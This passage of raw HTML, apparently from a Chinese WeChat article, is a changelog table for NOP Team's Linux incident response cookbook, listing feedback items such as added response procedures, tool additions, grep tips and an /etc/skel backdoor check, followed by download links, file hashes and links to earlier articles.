0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0029</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 23:30</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加隧道处置流程</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-18 00:12</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">30.  暴力破解处置流程添加常规安全检查阶段</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0030</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:01</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">暴力破解处置流程添加常规安全检查阶段</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:05</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">31.  恶意软件包供应链攻击处置流程添加常规安全检查阶段</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0031</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:01</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">恶意软件包供应链攻击处置流程添加常规安全检查阶段</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:06</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">32.  添加工具 ptcpdump</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0032</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 15:33</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加工具 ptcpdump</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 23:12:34</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">33.  完善全局文件内容搜索技巧</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0033</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-17 13:26</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">尝试使用 grep -rnl 这样只显示文件名字，不会显示内容</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-17 19:02</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">34.  添加 ls* 系列工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0034</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-17 13:26</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加 lslogins</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 22:50:35</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">35. 用户家目录模板检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0035</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-24 21:26</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">/etc/skel/ 是新建用户的家目录的模板，如果攻击者对其进行修改可能导致新创建的目录自带后门</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 23:20:27</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">36. 添加查看配置文件的小技巧</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0036</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-26 21:29</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加 </span><code><span leaf="">grep -E -v &#39;^\s*($|#)&#39; config_file</span></code><span leaf=""> ，排除井号开头的行以及空行，最好也包含其他注释</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 23:08:34</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">下载地址</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://pan.baidu.com/s/1ZikSveBcAjalMdHCpAj8zA?pwd=8cu8" target="_blank">https://pan.baidu.com/s/1ZikSveBcAjalMdHCpAj8zA?pwd=8cu8</a> 提取码: 8cu8</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/Just-Hack-For-Fun/Linux-INCIDENT-RESPONSE-COOKBOOK" target="_blank">https://github.com/Just-Hack-For-Fun/Linux-INCIDENT-RESPONSE-COOKBOOK</a></span></p></blockquote><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdeicyKT82abFZrZXMKIgNNcg4GttTt31icLFDY26dx705A4sPZAfQ2N3xibhm8cgh6KzBRevxJqTExw/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #98c379;line-height: 26px;"><span leaf="">Hash</span></span><span leaf=""> </span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">md5:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b078f8f7ded6a039632756b3944af06f</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sha-256:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">efbd596e577d77cd99e2e3b98d07b2de1d59375262302a8883b398561f364016</span></span><span leaf=""><br/></span></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><ul style="list-style-type: disc;" class="list-paddingleft-1"><li style="letter-spacing:normal;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502756&amp;idx=1&amp;sn=8bd6aa63492e4d8630a63494a17a60ac&amp;scene=21#wechat_redirect" textvalue="udev 后门 | Linux 后门系列" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2"><span textstyle="" style="letter-spacing: normal;">udev 后门 | Linux 后门系列</span></a></span></p></li><li style="letter-spacing:normal;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a style="" 